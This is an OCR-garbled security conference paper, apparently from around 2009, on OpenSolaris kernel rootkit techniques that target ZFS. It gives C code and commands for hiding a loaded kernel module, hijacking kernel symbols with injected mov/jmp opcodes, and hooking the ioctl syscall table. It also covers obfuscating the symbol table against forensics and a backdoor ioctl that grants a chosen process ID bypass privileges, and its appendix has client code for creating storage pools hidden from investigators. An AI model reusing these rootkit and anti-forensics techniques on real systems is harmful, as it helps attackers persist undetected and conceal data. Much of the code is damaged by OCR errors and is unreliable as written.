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Executive Summary 



ZFS is a revolutionary Open Source file system with many capabilities. Snapshots and 
Storage pools open new ways on how to store data. Attacking the most valuable assets 
of a company, their data. This work will focus on how to enhance ZFS and the 
OpenSolaris Kernel by hijacking ZFS kernel symbols. Furthermore, a demo will be 
given a new Oday technique will be revealed on how to hide file systems and entire 
store pools from forensics. 
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Abbreviations and Acronyms 



OS 


Operating System 


OSS 


Open Source 


BSD 


Berkeley Software Distribution 


IRS 


Iron Software 


CPU 


Central Processing Unit 


VA 


Various 


SUNW 


Sun Microsystems Inc. 


SDK 


Software Development Kit 


ASM 


Assembler 
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1 Preface 
1.1 Motivation 

ZFS is a revolutionary new file system, which is open source (OSS) and is 
implemented in Linux, NetBSD/FreeBSD and it was planned to be used in Mac OS X 
Snow Leopard. The file system is capable of storing more data than physical storage 
is available, thus is not threatened to age soon. The abilities of secure data storage, to 
create snapshots and easily manage backups of the entire storage pool, attracts many 
companies to switch from expensive commercial storage solutions to the open source 
alternative. In addition, ZFS offers a many features like on-the-fly compression and 
virus checking. A on-the-fly encryption version is already in work and scheduled for 
integration at Q1CY2010. Attacking the heart of a company, their most valuable 
assets, their data. 
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2 OpenSolaris kernel 

2.1 The ON NV source 

Obtain the source: 

hg clone ssh ://anon@hg . opensolaris.org/hg/onnv/onnv-gate 
Obtain the closed bins: 

wget http ://dlc . sun . com/osol/on/downloads/nightly-bins/on-closed- 
bins-latest . * uname -p\tar.bz2 

2.2 Build environment 

Follow the instructions on the SUN pages to create a kernel build environment. The 
flowing packages are necessary: 

-rw-r-r- 1 kshroot 8393267 2009-03-11 18:21 on-closed-bins.i386.tar.bz2 

-rw-r-r- 1 kshroot 18904576 2009-03-11 18:21 SUNWonbld.i386.tar 

-rw-r-r- 1 ksh root 232210852 2008-10-17 15:55 sunstudiol2-ii-20081010-sol- 
x86.tar.gz 

-rw-r-r- 1 ksh root 2717184 2007-1 1-30 16:36 SUNWmercurial-0.9.5-i386.pkg 
-rw-r-r- 1 kshroot 15708160 2006-10-05 12:31 dscm_subversion-i386.pkg 

2.3 dtrace 

dtrace is a perfect utility to examine the kernel's internal function flow. Usually the 
execution of kernel functions is not transparent to the userland. Like that the target 
functions can be identified and intercepted. Furthermore, on a less detailed 
perspective, with "dtruss", syscalls can be found. This is similar to strace on Linux. 

2.4 Kernel modules 

Solaris kernel modules located in the directory named "/kernel". The command 
"modload" followed by the absolute path name to the module will load it. For 
unloading "modunload" is used, "modinfo" displays all loaded kernel modules. 
Figure 2-1 shows some default-loaded modules in OpenSolaris. This 

Figure 2-1 : modinfo output of loaded modules 
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ksh@opensolaris-vm:~$ modinfo 
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The information of the loaded address is handy to know in which address space which 
module is located. With the kernel debugger "mdb" modules can be examined like 
this. 

Important module C-code is: 

static struct modldrv modldrv = { 

&mod_miscops, 

"zfs enhancer", 

NULL 

>; 

static struct modlinkage modlinkage = { 
M0DREV_1, 
(void *)&modldrv, 
NULL 

>; 

Every module to initialize the driver uses this. 

Three functions to initizalize, unload and query the module status are: 
int _init(void) 
int _fini(void) 

int _info ( st ruct modinfo *modinfop) 

2.5 kmdb 

kmdb is a pretty nice kernel interface debugger which can access the kernel by using 
the "-k" command switch. All information is obtained from "/dev/kmem". kmdb 
allows piping commands. This example will list the loaded modules and print it in the 
form of "modctl" structure: modules :: list "struct modctl" 
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In this example the use of the parenthesis is important to tell the debugger that the 
data listed will be in the form of a structure of "modctl". 

With "::nm" all the kernel symbols can be obtained and greped for specific names. 
::nm ! grep zfs_dirlook 

0xf9e6821c | 0x0000022c | FUNC | GLOB |0x0 |1 | zf s_dirlook 

The address found for the symbol can be dumped. This is very handing when dealing 
with assembly injection. Therefore the instructions can be dumped or the bytes can be 
simply examined. Figure 2-2 shows the memory dump of a nfs3 kernel module. The 
comma indicates the amount of bytes to be dumped. The figure was cut not to 
displays the full amount and just demonstrates the use. 

Figure 2-2: kmdb memory dump 

> 0xdc03f f Ba, 288 ::dump 

0123 4567 B9\/b c d e f 01234567B9vbcdef 

dc03ffB0: 00000000 00000000 0000006s 6673335f nfs3_ 

dc03"ff90: 61747472 5f 636163 6B65006e 66735f67 att r_cache . nf s_g 

2.6 nvlists 

nvlists are dynamic link lists which are frequently used in the Solaris kernel to pass 
data back and forward from user space and kernel space. Almost all kernel modules 
are using nvlists the exchange data. Important functions can be found in "nvpair.h". 
Of particular interest are: 

nvp_buf_unlink( nvl, nvp); 

nvpair_f ree( nvp) ; 

nvp_buf_f ree(nvl, nvp); 
put_nvlist(zc) ; 

These allow the removal of content from nvlists. In case of hiding something, the 
existence shall be denied. 

Figure 2-3: nvlist schema from the onnv source code 
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2.7 Hiding a module 

All modules are linked in a module stucture called "modctl". To obtain the structure 
of all available modules the global kernel symbol "modules" can be used, 
struct modctl *mods = &modules, *soy; 

Hiding a kernel basically works by looking through the list of loaded modules and 
once the own module is located the pointers from the previous and next loaded 
modules are exchanged. 

mods->mod_prev->mod_prev->mod_next = mods; 

mods->mod_prev = mods->mod_prev->mod_prev; 

It is handy to clean up the own module structure to tell the Solaris kernel the module 
is "really" no loaded, nor installed, nor enabled. 

soy->mod_nenabled = 0; 

soy->mod_loaded = 0; 
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soy->mod_installed = 0; 
soy->mod_loadcnt = 0; 
soy->mod_gencount = 0; 

Just in case someone is looking for a specific module name, the name as well can be 
accessed and altered. 

strcpy ( soy->mod_f ilename, "/won/der/land" ) ; 

strcpy ( soy->mod_modname, MODULE_NAME) ; 

2.8 Finding the desired module 

The desired module can be located by looping through the modules name list while 
looking for the desired module name. In this case it would be "zfs". 

while ( mods->mod_next != bkp ) { 
m_tmp = mods->mod_next ; 

if ( ! strcmp(m_tmp->mod_modname, "zfs") ) { 

m_zfs = (struct module *)m_tmp->mod_mp; 

2.9 Hijacking a kernel symbol 

The easiest and most flexible was found to hijack a kernel symbol is to simply inject a 
"mov" assembly instruction followed by "jmp". The "mov" will put the new address 
to jump to into the %eax register. Jmp will jump to the content of this register. Figure 
2-4 shows the injected instructions for the directory creation function of zfs, called 
"zfsmkdir". 



Figure 2-4: 
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The jmp x86 opcode is "OxffeO". The mov $addr, %eax opcode is "0xb8". The 
injection byte pattern should be constructed like: 

"b80defacedffe0" 

where Odefaced is the new symbol address. The address must be 32-bit aligned. 
Because this injection technique destroys the original function a backup shall be made 
to restore the original opcode and to relocate the original function so the actual 
function purpose still can be used. 

2.10 Hijacking a Syscall 

Very old and well known is the technique to replace syscalls. The syscall table can be 
accessed by the kernel symbol "sysent". The array holds all the syscall addresses. The 
syscall macros are SYS_##name. For the ioctl syscall, this is SYS_ioctl. 
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orig_ioctl = ( cadd r_t ) sysent [SYS_ioctl] . sy_callc ; 
sys_getpid = ( cadd r_t) sysent [SYS_getpid] . sy_callc; 
/* syscall hook */ 

sysent [SYS_ioctl] . sy_callc = (caddr_t)&hook_ioctl; 

A simple pointer exchange replaces the syscall. 

2.11 Executing the original function 

When inside the hijacked function the original function can be restored by removing 
the injected assembly instructions. A macro is used to restore from the backup. 
Execution flow to call the original function is: 

ATOMIC_LOCK(##name) 

orig_##name(args, ...); 

ATOMICUNLOCK 

2.12 Anti-forensics 

To aggravate debugging and the examination of the kernel module the modules 
symbol table can be altered. Every modules symbol table can be accessed by the 
"modules" global kernel symbol. Finding the symbol table with mdb is easy. 

modules :: list "struct modctl" mod_next | :: print "struct 
modctl" mod_mp | ::print "struct module" symtbl strings 
filename 

This will list the symtbl, strings and filename attribute of every module loaded. The 
resulting "symtbl" attribute points to the memory region where the symbol table is 
located. The symtbl data is stored in the form of the "Sym" structure. The 
corresponding names to the symbols addresses are in the attribute "strings". Looping 
through the symbol table and identifying the original symbols address reveals the 
relative position of the desired symbol. From this point of view the original symbols 
address can be exchanged with the new module's symbol address. This can lead the 
debugger into a false direction. In addition to this, the name can be obfuscated. This 
results in a wrong symbol address and a random name. Example output when 
replacing the original symbol name with an obfuscated: 

Jan 4 10:23:36 opensolaris-vm kshzfs: [ID 546440 kern.warning] WARNING: 
set_sym_tbl_entr(): orig value is: 0xf9e60464 

Jan 4 10:23:36 opensolaris-vm ksh zfs: [ID 174960 kern.warning] WARNING: 
set_sym_tbl_entr(): replacing with: 0xfal7ee30 

Jan 4 10:23:36 opensolaris-vm ksh zfs: [ID 515676 kern.warning] WARNING: 
set_sym_tbl_entr(): mod value is: 0xfal7ee30 

Jan 4 10:23:36 opensolaris-vm ksh zfs: [ID 511702 kern.warning] WARNING: 
set_sym_tbl_name(): orig value is: hook_zfs_ioc_pool_stats 
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Jan 4 10:23:36 opensolaris-vm kshzfs: [ID 560712 kern.warning] WARNING: 
set_sym_tbl_name(): mod value is: m010ke7i6ab04a84ug7arzf 

Figure 2-5 shows the examination in the mdb. From these names it will be hard to 
conclude the functions purpose. 



Figure 2-5: obfuscated kernel symbols in mdb 
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3 Enhancing ZFS 

The ZFS architecture is at Figure 3-1. It is pretty obvious that most of the file system 
activity happens in the kernel. 



Figure 3-1: ZFS architecture 



ilesystem \ f Device ~\ 
Iobuhhe/ 'vCcmsumers J 



USER 



KERNEL 

Interface 

Layer 



Transactional 
Object 
Layer 



Pooled 
Storag e 
Layer 




3.1 Examining the ZFS source 

The source is located in onnv/usr/src/uts/common/fs/zfs: 
-rw-r-r- 1 kshroot 130631 2009-03-27 11:55 arc.c 
-rw-r-r- 1 ksh root 7977 2009-03-27 1 1:55 bplist.c 
-rw-r-r- 1 kshroot 63972 2009-03-27 11:55 dbuf.c 
-rw-r-r- 1 kshroot 28911 2009-03-27 11:55 dmu.c 
-rw-r-r- 1 ksh root 5152 2009-03-27 1 1:55 dmu object.c 
-rw-r-r- 1 kshroot 30718 2009-03-27 11:55 dmu objset.c 
-rw-r-r- 1 kshroot 30589 2009-03-27 11:55 dmu send.c 
-rw-r-r- 1 kshroot 10229 2009-03-27 11:55 dmu traverse.c 
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-rw-r-r- 1 kshroot 29705 2009-03-27 11:55 dmutx.c 
-rw-r-r- 1 kshroot 16965 2009-03-27 11:55 dmuzfetch.c 
-rw-r-r- 1 kshroot 37614 2009-03-27 11:55 dnode.c 
-rw-r-r- 1 kshroot 17819 2009-03-27 11:55 dnodesync.c 
-rw-r-r- 1 kshroot 84760 2009-03-27 11:55 dsl_dataset.c 
-rw-r-r- 1 kshroot 19402 2009-03-27 11:55 dsl_deleg.c 
-rw-r-r- 1 kshroot 34475 2009-03-27 11:55 dsl dir.c 
-rw-r-r- 1 kshroot 17256 2009-03-27 11:55 dsl_pool.c 
-rw-r-r- 1 kshroot 17000 2009-03-27 11:55 dsl_prop.c 
-rw-r-r- 1 kshroot 28706 2009-03-27 11:55 dsl scrub.c 
-rw-r-r- 1 ksh root 5652 2009-03-27 1 1:55 dsl synctaskx 
-rw-r-r- 1 kshroot 3223 2009-03-27 11:55 fletcher.c 
-rw-r-r- 1 ksh root 1677 2009-03-27 1 1:55 gzip.c 
-rw-r-r- 1 ksh root 3704 2009-03-27 1 1:55 lzjb.c 
-rw-r-r- 1 kshroot 28154 2009-03-27 11:55 metaslab.c 
-rw-r-r- 1 ksh root 4764 2009-03-27 1 1:55 refcount.c 
-rw-r-r- 1 ksh root 7163 2009-03-27 1 1:55 rrwlock.c 
-rw-r-r- 1 kshroot 4225 2009-03-27 11:55 sha256.c 
-rw-r-r- 1 ksh root 1 15430 2009-03-27 11:55 spa.c 
-rw-r-r- 1 kshroot 14534 2009-03-27 11:55 spacemap.c 
-rw-r-r- 1 kshroot 12415 2009-03-27 11:55 spa config.c 
-rw-r-r- 1 kshroot 11728 2009-03-27 11:55 spaerrlog.c 
-rw-r-r- 1 kshroot 12120 2009-03-27 11:55 spa history.c 
-rw-r-r- 1 kshroot 35964 2009-03-27 11:55 spamisc.c 
drwxr-xr-x 2 ksh root 55 2009-04-06 12:04 sys 
-rw-r-r- 1 kshroot 14709 2009-03-27 11:55 txg.c 
-rw-r-r- 1 ksh root 1812 2009-03-27 1 1:55 uberblock.c 
-rw-r-r- 1 ksh root 2649 2009-03-27 1 1:55 unique.c 
-rw-r-r- 1 kshroot 68917 2009-03-27 11:55 vdev.c 
-rw-r-r- 1 kshroot 10908 2009-03-27 11:55 vdev cache.c 
-rw-r-r- 1 kshroot 13406 2009-03-27 11:55 vdev disk.c 
-rw-r-r- 1 kshroot 4325 2009-03-27 11:55 vdev_file.c 
-rw-r-r- 1 kshroot 31984 2009-03-27 11:55 vdev label.c 
-rw-r-r- 1 kshroot 11845 2009-03-27 11:55 vdevmirror.c 
-rw-r— r— 1 kshroot 2412 2009-03-27 11:55 vdev missing.c 
-rw-r-r- 1 ksh root 7889 2009-03-27 1 1:55 vdev queue.c 
-rw-r-r- 1 kshroot 34051 2009-03-27 11:55 vdev raidz.c 
-rw-r-r- 1 ksh root 3098 2009-03-27 1 1:55 vdev root.c 
-rw-r-r- 1 kshroot 28162 2009-03-27 11:55 zap.c 
-rw-r-r- 1 kshroot 22308 2009-03-27 11:55 zapjeaf.c 
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-rw-r-r- 1 kshroot 25289 2009-03-27 11:55 zap micro.c 
-rw-r-r- 1 kshroot 65929 2009-03-27 11:55 zfsacl.c 
-rw-r-r- 1 kshroot 5553 2009-03-27 11:55 zfsbyteswap.c 
-rw-r-r- 1 ksh root 980 2009-03-27 1 1 :55 zfs.conf 
-rw-r-r- 1 kshroot 33468 2009-03-27 11:55 zfsctldir.c 
-rw-r-r- 1 kshroot 26224 2009-03-27 11:55 zfsdir.c 
-rw-r-r- 1 kshroot 11677 2009-03-27 11:55 zfs fm.c 
-rw-r-r- 1 kshroot 17990 2009-03-27 11:55 zfs fuid.c 
-rw-r-r- 1 kshroot 77248 2009-03-27 11:55 zfs_ioctl.c 
-rw-r-r- 1 kshroot 19736 2009-03-27 11:55 zfsjog.c 
-rw-r-r- 1 kshroot 23334 2009-03-27 11:55 zfsreplay.c 
-rw-r-r- 1 kshroot 17029 2009-03-27 11:55 zfs rlock.c 
-rw-r-r- 1 kshroot 42327 2009-03-27 11:55 zfsvfsops.c 
-rw-r-r- 1 ksh root 1 12270 2009-03-27 11:55 zfs vnops.c 
-rw-r-r- 1 kshroot 42557 2009-03-27 11:55 zfs znode.c 
-rw-r-r- 1 kshroot 43144 2009-03-27 11:55 zil.c 
-rw-r-r- 1 kshroot 65475 2009-03-27 11:55 zio.c 
-rw-r— r— 1 kshroot 6622 2009-03-27 11:55 zio checksum.c 
-rw-r— r— 1 ksh root 41 14 2009-03-27 1 1:55 zio compress.c 
-rw-r-r- 1 ksh root 9463 2009-03-27 1 1:55 zio inject.c 
-rw-r-r- 1 kshroot 42058 2009-03-27 11:55 zvol.c 

3.2 ZFS userland kernel communication 

Almost every exchange between the kernel and the userland is handled by the syscall 
ioctl. In addition there is a device driver named "/dev/zfs" which is used to pass data 
to the kernel. Example use will be: 

fdes = open("/dev/zf s", 0_RDWR) ; 

ret = ioctKfdes, ZFS_I0C_P00L_GET_PR0PS, &zc); 

The ZFS ioctls expect the data to be in a ZFS command structure, "zfs_cmd_t". 
zfs_cmd_t zc; 

The structure can be obtained from the "zfs ioctl.h" header. Aditional data is 
forwards/backwards using nvlists. 

3.3 dtrace flows 

Figure 3-2 shows the output of a "zpool list" command examined by dtrace. 
Figure 3-2: dtrace output 
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CPU FUNCTION 



=> sysconf ig fd: 6 

8 -> sysconf ig 

6 <- sysconf ig 

-> syscal I .restate 

£1 -> gethrtime_unsca led 

B -> tsc_aethr t i neunsca I ed 

<- tsc_gethr t i neunsca I ed 

<- gethrtime.unscaled 

<- syscal l_n*state 

-> syscal I .rastate 

-> gethr t i r»e_unsca I ed 

-> tsc_gethrtimeunscaled 

<- tsc_gethr t i neunsca I ed 

<- gethrtime_unscaled 

<- syscal I .instate 

8 -> smmap32 



The dtrace script to generate this output can be found at the appendix and is called 
"flowioctl.d". 

3.4 Hooking some functions 

While checking some internal ZFS functions, internal names for each pool were 
discovered. These are "$MOS" and "$ORIGIN". 

Figure 3-3 : kernel output for ZFSIOCDATASETLISTNEXT without filter 

Apr 9 13:06:16 opensolaris-vm winnipu: [ID 181094 

kern . warning] WARNING: hook_zf s_ioc_dataset_list_next ( ) : 

zc_name: rpool/$MOS cookie: 0xl33e8aad 

Apr 9 13:06:17 opensolaris-vm winnipu: [ID 181094 

kern . warning] WARNING: hook_zf s_ioc_dataset_list_next ( ) : 

zc_name: rpool/$ORIGIN cookie: "0xl3763f21 — 

Examining the code revealed a function named "dataset name hidden". There is a 

hidden character "$" explicitly specified. 

int 

dataset_name_hidden ( const char *name) 
{ 

if (strchr(name, '$') != NULL) 
return (1); 

return (0); 

} 

While listing the available datasets, the function zfs_ioc_dataset_list_next() is 
continuously called. Within this function only datasets without the "$" mark will be 
passed to the userland. Figure 3-4 shows the code sniped. 

Figure 3-4: "$" filter function from zfs_ioc_dataset_list_next() 
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/* 

* If it's a hidden dataset (ie. with a '$' in its name), don't 

* try to get stats for it. UserLand will skip over it. 
V 

if (error = S& strchr(ze->2c_nanie , '$") == null) 

error = zfs_ioc_objset_stats(zc); /* fill in the stats V 



3.5 Create a hidden pool 

The function "datasetnamecheck" contains all the checks if the there are any invalid 
characters used in the name. This is revealed by a dtraceing for example a "zfs create" 
command with an invalid character. First the libzfs.so must be patched to allow the 
command pass the libzfs.so security check. This shall be explained in the following 
chapter. A interesting part of the dtrace output is: 

->ioctl 



-> getf 

-> setactivefd 

<- set active fd 

<- getf 

-> fop ioctl 

-> crgetmapped 

<- crgetmapped 

-> spec ioctl 

-> cdev ioctl 

-> zfsdev ioctl 

-> getminor 

<- getminor 

-> kmemzalloc 

-> kmemcachealloc 

<- kmem cache alloc 

<- kmem zalloc 

-> xcopyin 

<- xcopyin 

-> zfs_secpolicy_read 

<- zfs secpolicy read 

-> dataset_namecheck 

-> valid char 



dataset namecheck is the responsible kernel function that will check if there is any 
invalid character in the pool creation. If so an error will be returned. Creation of a 
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a pool is denied. At this time the interception happens at the userland by the libzfs.so 
library. 

$ zfs create rpoolA$evil_hacker 

cannot create 'rpool/$evil_hacker': invalid character '$' in name 

The same output will be reproduced from the patched libzfs. The only difference is 
that the kernel produces the return code. 

ksh@opensolaris-vm:~/devel/custom_zfs$ ./new_zfs.sh create 

rpoolA$evil_hacker 

sending request for PID 501 ... failed! 

cannot create 'rpool/$evil_hacker': invalid character '$' in name 

3.6 Kernel user-space communication 

The idea to have some interaction with the kernel module in order to exchange data is 
obvious. Because every function can be controlled, the idea was to simply use a 
random zfs function and use the zfs control structure "zfs cmd t" in order to 
exchange the data. The data will be a PID to tell the kernel module which process 
shall be granted extra privileges. From the user space point of view setting a special 
zc cookie to Oxdefaced will do this. This indicates the command to be executed and 
the zc history len contains the parameter. 

zc.zc_cookie = Oxdefaced; 

zc. zc_history_len = pid; 

The ZFS_I0C_P00L_GET_PR0PS ioctl call will be the command receiving kernel 
target. Hooking ioctl and looking for the match on the kernel side: 

/* after call syscall hooks */ 
switch ( cmd ) { 
case ZFS_I0C_P00L_GET_PR0PS: 

if ( zc->zc_cookie == Oxdefaced ) { 

SET_SUPERMAN( (short) zc->zc_history_len) ; 
return ( 321 ); 

} 

debug ( "ZFS_I0C_P00L_GET_PR0PS" , "" ) ; 
break; 

SET SUPERMAN is a macro that sets a global module variable. 
The implementation is called kzi.c and can be found in the appendix. 

3.7 Patching libzfs and dataset_namecheck 

To allow creating a pool that is usually denied the kernel hook of 
"dataset namecheck" shall not permit everybody, but a special pid to bypass the 
check. An example could be: 
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int 

hook_dataset_namecheck( const char *path, namecheck_err_t *why, 

char *what) 

{ 

int ret; 

short ppid = sys_getpid ( ) ; 



/* we permit everything ;) */ 
if ( IS_SUPERMAN(ppid) ) { 

debug ( "permitting anything", ""); 

return ( ); 

} 

ret = orig_dataset_namecheck( path , why, what); 



return ( ret ); 

} 

ISSUPERMAN is a macro that basically just checks if the asking PID is flagged as 
permitted. If so the original dataset namecheck is avoided. From the user-space point 
of view, the libzfs must be patched. The responsible function is "zfs validate name". 
Inserting a simple "return (-1)" at the beginning of the function will solve the issue. 
The function can be found at libzfs dataset.c in "onnv/usr/src/lib/libzfs/common". 
The modified function: 

static int 

zf s_validate_name( libzf s_handle_t *hdl, const char *path, int 

type) 

{ 

namecheck_err_t why; 
char what; 

return (-1); 

if (dataset_namecheck(path, &why, &what) != 0) { 

Recompiling the library and making use of it by preloading it to the zfs command will 
disable the validation check. Preloading works like this: 

LD_PRELOAD=$PWD/libzfs.so.l ./zfs 

This is done with a simple shell script name new zfs.sh and can be found in the 
appendix. 
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4 Conclusion 

The creation of a hidden pool containing a "$" character was possible by patching the 
responsible invalid character checking functions on the userland and kernel side. This 
pool can only be accessed when the ksh zfs kernel module is loaded and the 
customzfs user-space commands are available on the target machine. Taking the 
responsible datasets (hard disks) to an uncompromised machine will still not reveal 
the pool and thus will make the data inaccessible. Turning compression on for the 
hidden dataset is a simple solution to prevent simple strings analysis. Obfuscating the 
new module's symbol table makes it more difficult to reverse engineer the purpose of 
the hijacked kernel symbols. The techniques demonstrated to hijack zfs kernel 
symbols is applicable for each loaded module. 
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A Appendix 
A.1 new_zfs.sh 

#! /usr/bin/bash 
A=$$ 

RPID=$[ $A + 2 ] 
./kzi $RPID 

LD_PRELOAD=$PWD/libzf S . SO. 1 ./zfs $* 

A. 2 kzi.c 

/* kzi.c 

* 

* Compile: gcc -o kzi kzi.c -I 

/expo rt /home/ ksh/devel/onnv/usr/s re/ uts/common/f s/zf s/ 

* 

* Copyright (C) 2009, 2010 Iron Software 

*/ 

#include <stdio.h> 
#include <sys/fcntl. h> 
#include <sys/unistd. h> 
#include <sys/zf s_ioctl. h> 

int 

main(int argc, char **argv) 
{ 

int pid, fdes, ret = 0; 
zfs_cmd_t zc; 

if ( argc < 2 ) { 
printf ("usage %s: <pid>\n", argv[0]); 
exit(l) ; 

} 

fdes = open("/dev/zf s", 0_RDWR) ; 
if ( fdes <= ) { 

printf ( "error opening zfs interf ace\n" ) ; 

exit(l) ; 

} 

pid = atoi(argv [1] ) ; 

/* create struct */ 
zc.zc_cookie = 0xdefaced; 
zc. zc_history_len = pid; 

printf ("sending request for PID %d... ", 
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zc. zc_history_len) ; 

ret = ioctKfdes, ZFS_I0C_P00L_GET_PR0PS, &zc); 
if ( ret == 321 ) 

printf ( "done\n" ) ; 
else 

printf ("failed !\n") ; 
close (fdes); 
return ( ); 

} 

A. 3 flow_ioctl.d 

#pragma D option flowindent 

syscall: : ioctl: entry 

/execname == "zfs" && guard++ == 0/ 

{ 

self->traceme = 1; 
printfC'fd: %d", arg0); 

} 

fbt: : : 

/self->t raceme/ 
{} 

syscall: : ioctl: return 

/self->traceme/ 

{ 

self->t raceme = 0; 
exit (0) ; 

} 
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